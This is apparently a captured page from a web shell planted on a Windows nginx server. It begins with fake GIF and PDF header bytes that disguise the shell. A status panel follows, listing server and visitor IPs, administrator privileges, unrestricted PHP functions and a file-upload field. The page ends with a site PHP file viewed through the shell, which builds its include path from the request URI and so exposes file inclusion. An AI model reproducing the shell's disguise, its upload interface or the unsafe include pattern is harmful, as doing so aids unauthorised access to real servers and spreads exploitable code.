GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/ |
Upload File : |
<? // HEADER.php $HEADER_DEBUG = false; if ( $HEADER_DEBUG ) echo "__FILE__ == ".__FILE__."<br>\n"; if ( $HEADER_DEBUG ) echo "dirname(\$_SERVER['SCRIPT_FILENAME']) == ".dirname($_SERVER['SCRIPT_FILENAME'])."<br>\n"; if ( $HEADER_DEBUG ) echo "dirname(__FILE__) == ".dirname(__FILE__)."<br>\n"; if ( $HEADER_DEBUG ) { echo "<pre>"; print_r($_SERVER); echo "</pre>"; } $include_path_original = ini_get('include_path'); ini_set('include_path',dirname(__FILE__).PATH_SEPARATOR.ini_get('include_path')); $include_path_new = ini_get('include_path'); if ( $HEADER_DEBUG ) echo "\$include_path_original == ".$include_path_original."<br>\n"; if ( $HEADER_DEBUG ) echo "\$include_path_new == ".$include_path_new."<br>\n"; if ( $HEADER_DEBUG ) { echo "<pre>"; print_r(explode('/',$_SERVER['REQUEST_URI'])); echo "</pre>"; } if ( $HEADER_DEBUG ) echo $_SERVER['REQUEST_URI']."<br>\n"; $dirs = explode('/',$_SERVER['REQUEST_URI']); if ( $HEADER_DEBUG ) { echo "\$dirs=<pre>"; print_r($dirs); echo "</pre>"; } $dir = array_pop($dirs); if ( $HEADER_DEBUG ) echo "\$dir == ".$dir."<br>\n"; if ( $HEADER_DEBUG ) { echo "\$dirs=<pre>"; print_r($dirs); echo "</pre>"; } if ( $dir == '' ) { $dir = array_pop($dirs); if ( $HEADER_DEBUG ) { echo "\$dir == ".$dir."<br>\n"; echo "\$dirs=<pre>"; print_r($dirs); echo "</pre>"; } } $include_file = substr($_SERVER['REQUEST_URI'],1).'index_'.$dir.'.php'; #echo "\$include_file == ".$include_file."<br>\n"; include($include_file); ?>